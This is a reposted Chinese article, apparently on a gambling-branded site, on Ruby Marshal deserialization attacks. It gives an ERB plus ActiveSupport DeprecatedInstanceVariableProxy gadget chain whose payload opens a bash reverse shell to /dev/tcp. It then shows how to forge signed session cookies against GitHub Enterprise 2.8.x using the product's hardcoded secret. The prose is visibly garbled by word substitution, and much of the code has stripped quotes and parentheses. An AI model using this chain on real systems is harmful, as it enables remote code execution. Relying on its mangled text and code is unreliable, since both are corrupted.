探究Ruby项目中的反序列化题目 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

探究Ruby项目中的反序列化题目

申博_新闻事件 申博 146次浏览 已收录 0个评论

媒介

Ruby on Rails是一个盛行的应用顺序平台,它运用cookie来辨认应用顺序会话。

cookie由两部分构成:cookie-value和signature。每当Rails猎取cookie时,它经由历程考证发送的cookie值的哈希/署名是不是与发送的署名婚配来考证cookie是不是未被改动。用于检索内容的解组cookie一般包罗三个逻辑步调:

url_decoded_cookie = CGI :: unescapecookie_value
b64_decoded_session = Base64.decode64url_decoded_cookie
session = Marshal.loadb64_decoded_session

在很多白盒Ruby on Rails项目的审计历程当中,我们一次又一次地遇到了元组反序列化的不安全运用。虽然会话cookie反序列化是一个严峻的题目,但是有一整类的解组毛病能够致使长途实行代码(RCE)。一切状况都是相似的:解组cookie,一些GET-POST数据或用户会话中的任何范例的数据。比方:

ifdata = @cookies [user_data])。present
userinfo = Marshal.loadBase64.decode64data))

这类挪用demarshalling是运用反序列化机制的一个异常风险的例子,因为它能够直接致使恣意代码实行。这是最终目的,但起首,我们须要构建在接见时运转的代码。

PoC建立

第一步是运用一些erb模板解析器,如ERB或Erubis,它在GitHub Enterprise中运用。src变量的实例能够包罗纯Ruby代码; 因而,我们能够在此处安排有用负载,并运用将要实行的代码。

erb = ERB.allocate
erb.instance_variable_set :@src, %x();

https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875:

738: class ERB

852: # Generate results and print them. (see ERB#result)
853: def run(b=new_toplevel)
854: print self.result(b)
855: end

865: def result(b=new_toplevel)

875: eval(@src, b, (@filename || (erb)), @lineno)
876: end
877: end

or

erb = Erubis::Eruby.allocate
erb.instance_variable_set :@src, %x{};

https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65:

10: module Erubis

44: module RubyEvaluator

52: ## eval(@src) with binding object
53: def result(_binding_or_hash=TOPLEVEL_BINDING)

65: return eval(@src, _b, (@filename || (erubis))

检察用于实行有用负载的评价顺序的源代码,我们须要在建立erb工具以后挪用效果要领。我们不克不及直接影响实行历程; 因而,我们须要在解组历程当中以某种体式格局强迫挪用效果要领。InstanceVariableProxy类能够资助我们处理这类题目。ActiveSupport模块包罗一种特别的机制,用于符号过期的要领并对其举行变动,以使其如今能够一般事情。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。

简朴地说,这个机制与诠释者攀谈:“嘿,店员。不再支撑此要领。请运用这个并运转。“

089: class DeprecatedInstanceVariableProxy < DeprecationProxy
090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance)
091: @instance = instance
092: @method = method

098: def target
099: @instance.__send__(@method)

102: def warn(callstack, called, args)
103: @deprecator.warn(#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)

因而,我们能够运用它来弃用实例变量; 运转该实例变量后,它将抛弃正告音讯并挪用新要领。这正是我们在这一步所须要的。

class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
   @instance = instance
     @method = method
        @deprecator = ActiveSupport::Deprecation.new
        end
     end
   end
end
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, erb
depr.instance_variable_set :@method, :result
depr.instance_variable_set :@var, @result
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

或许 depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

在这一步,若是我们实验接见depr工具,我们将运转代码。

如今我们能够运用Marshal.dump序列化已完成的工具,并运用base64函数举行编码。

payload = Base64.encode64(Marshal.dump(depr)).gsub(\n, “”)
puts payload

将一切步调组合到源代码中

requirebase64 
requireerb 
class ActiveSupport 
class Deprecation 
def initialize()
@silenced = true 
end
class DeprecatedInstanceVariableProxy 
def initializeinstancemethod
  @instance = instance 
     @method = method 
        @deprecator = ActiveSupport :: Deprecation.new 
        end 
     end 
  end 
end
erb = ERB.allocate 
erb.instance_variable_set@src,“%xbash -i>/ dev / tcp/127.0.0.1 / 1337 0>1; 
erb.instance_variable_set:@ lineno1337
depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate 
depr.instance_variable_set:@ instanceerb 
depr.instance_variable_set:@ method,:result 
depr.instance_variable_set
@ var,“ @ result  depr.instance_variable_set:@ predecatorActiveSupport :: Deprecation .new 
payload = Base64.encode64Marshal.dumpdepr))。gsub(“\ n”,“”)

加载payload

你能够在repl.it代码平台运转。

去年在GitHub Enterprise 2.8.0 < 2.8.6产物中发现了相似的毛病。会话cookie标记有一个静态会话密钥,cookie自身就是Marshal工具。

/data/enterprise-manage/current/config.ru :

62: # Enable sessions
63: use Rack::Session::Cookie,
64: :key => _gh_manage,
65: :path => /,
66: :expire_after => 1800, # 30 minutes in seconds
67: :secret => ENV[ENTERPRISE_SESSION_SECRET] || 641dd6454584ddabfed6342cc66281fb

起首,运用上述破绽应用代码建立DeprecatedInstanceVariableProxy工具。

session = {session_id => “”, exploit => proxy}

以后,我们须要编组会话变量,编码和HMAC运用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签订其SHA1择要。

dump = [Marshal.dump(session)].pack(m)

hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

末了,编码有用负载并运用 – 分隔符对连接举行署名,然后将要求作为cookie头发送。

rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

探究Ruby项目中的反序列化题目

图1. 胜利应用GitHub Enterprise 2.8.5
在修复这个问题几个月后,台湾研究人员蔡橙(Orange Tsai)发现了另一个缺陷,比如反序列化中的这个。本课题有四个链——SSRF业务通过长途SSRF, cr-lf注入Python httplib。HTTPConnection模块,以及Memcache数据库中Ruby工具的不安全反序列化。攻击者可以存储应用程序中内置的相同恶意工具,然后从缓存Memcache自动反序列化该工具,这会导致代码执行。

探究Ruby项目中的反序列化题目

图2. 胜利应用GitHub Enterprise 2.8.6
胜利应用后,进击者能够运用此类毛病在长途体系上运转恣意代码。因为运用的普遍能够性,如许的毛病致使生产中的严峻题目。比方,加密矿工喜好将如许的bug应用到他们的进击库中以沾染很多体系,以便受沾染的体系能够成为僵尸收集的一部分。固然,若是易受进击的应用顺序从目的体系上的高权限用户运转,题目将变得越发严峻。注意!


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明探究Ruby项目中的反序列化题目
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址